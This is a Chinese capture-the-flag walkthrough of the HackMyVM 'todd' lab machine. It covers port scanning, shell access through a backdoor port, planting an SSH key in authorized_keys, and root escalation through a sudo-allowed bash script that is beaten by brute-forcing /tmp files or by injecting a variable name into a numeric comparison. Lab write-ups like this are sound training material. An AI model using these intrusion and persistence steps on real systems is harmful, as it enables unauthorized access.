镜像资源
去官网下载:https://hackmyvm.eu/
或者在公众号内发送todd
直接获取镜像资源
信息收集
netdiscover & nmap
netdiscover -i eth1 /r 192.168.56.0/24
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.56.103 08:00:27:02:e7:cb 1 60 PCS Systemtechnik GmbH
nmap --min-rate 10000 -A 192.168.56.103
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 93:a4:92:55:72:2b:9b:4a:52:66:5c:af:a9:83:3c:fd (RSA)
| 256 1e:a7:44:0b:2c:1b:0d:77:83:df:1d:9f:0e:30:08:4d (ECDSA)
|_ 256 d0:fa:9d:76:77:42:6f:91:d3:bd:b5:44:72:a7:c9:71 (ED25519)
80/tcp open http Apache httpd 2.4.59 ((Debian))
|_http-title: Mindful Listening
|_http-server-header: Apache/2.4.59 (Debian)
7066/tcp open unknown
9457/tcp open tcpwrapped
16844/tcp open tcpwrapped
16911/tcp open tcpwrapped
19628/tcp open tcpwrapped
20283/tcp open tcpwrapped
21876/tcp open tcpwrapped
22791/tcp open tcpwrapped
23093/tcp open tcpwrapped
30215/tcp open tcpwrapped
nc & getshell
7066
端口可以nc
连上 -> 得到user.txt
privilege
这个nc
连上之后不久就会断开 -> 写入ssh
公钥
在自己的机器上通过 ssh-keygen 生成一对密钥 id_ed25519 id_ed25519.pub
将公钥内容上传至目标机的 ~/.ssh/authorized_keys 文件下
该目录对权限十分敏感 - 要求
.ssh目录 700
authorized_keys 600
ssh连接
再通过python生成伪终端
ssh -i ~/.ssh/id_ed25519 [email protected]
python3 -c 'import pty;pty.spawn("/bin/bash")'
sudo -l
发现了这个 (ALL : ALL) NOPASSWD: /bin/bash /srv/guess_and_check.sh
接下来就要从这个/srv/guess_and_check.sh
脚本入手
# check this script used by human
a=$((RANDOM%1000))
echo"Please Input [$a]"
echo"[+] Check this script used by human."
echo"[+] Please Input Correct Number:"
read -p ">>>" input_number
[[ $input_number -ne "$a" ]] && exit 1
sleep 0.2
true_file="/tmp/$((RANDOM%1000))"
sleep 1
false_file="/tmp/$((RANDOM%1000))"
[[ -f "$true_file" ]] && [[ ! -f "$false_file" ]] && cat /root/.cred || exit 2
RANDOM
:在bash中,RANDOM是一个特殊的变量 -> 返回0~32767之间的随机整数变量a就是0~999中间的一位数 -> 且告诉我们是什么
然后
read -p ">>>" input_number
等待输入且赋值给input_number
变量检查
/tmp
目录下是否存在一个$((RANDOM%1000))
为名的文件如果 存在 且 不存在 就会
cat /root/.cred
-> 注意:$((RANDOM%1000))
是随机值
可以生成大量的文件,然后去不断运行sudo /bin/bash /srv/guess_and_check.sh
,来碰运气
靶机的作者提供的方法:
read -p ">>>" input_number
[[ $input_number -ne "$a" ]] && exit 1
# read 输入值 直接赋值给了 input_numebr -> 如果输入 a
# $a -ne "$a"
总结
todd => 大黑客
80端口 -> 目录扫描 -> tools => 指向黑客攻击掉了网站 放入的自己的工具 -> 所以有了直接nc连接 -> 后门
多次nmap探测端口[ nmap提示closed ] -> 找到了端口 nc 连接成功
sudo -l -> 提权 -> 暴力 或者 注入[ 不同类型做比较之间的转换存在的问题 ]
靶机作者复盘思路:https://www.bilibili.com/video/BV1s5XaYMEgR/?share_source=copy_web&vd_source=e68972c88b84314ddb5939058de3405e
原文始发于微信公众号(夜风Sec):HackMyVM - todd
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论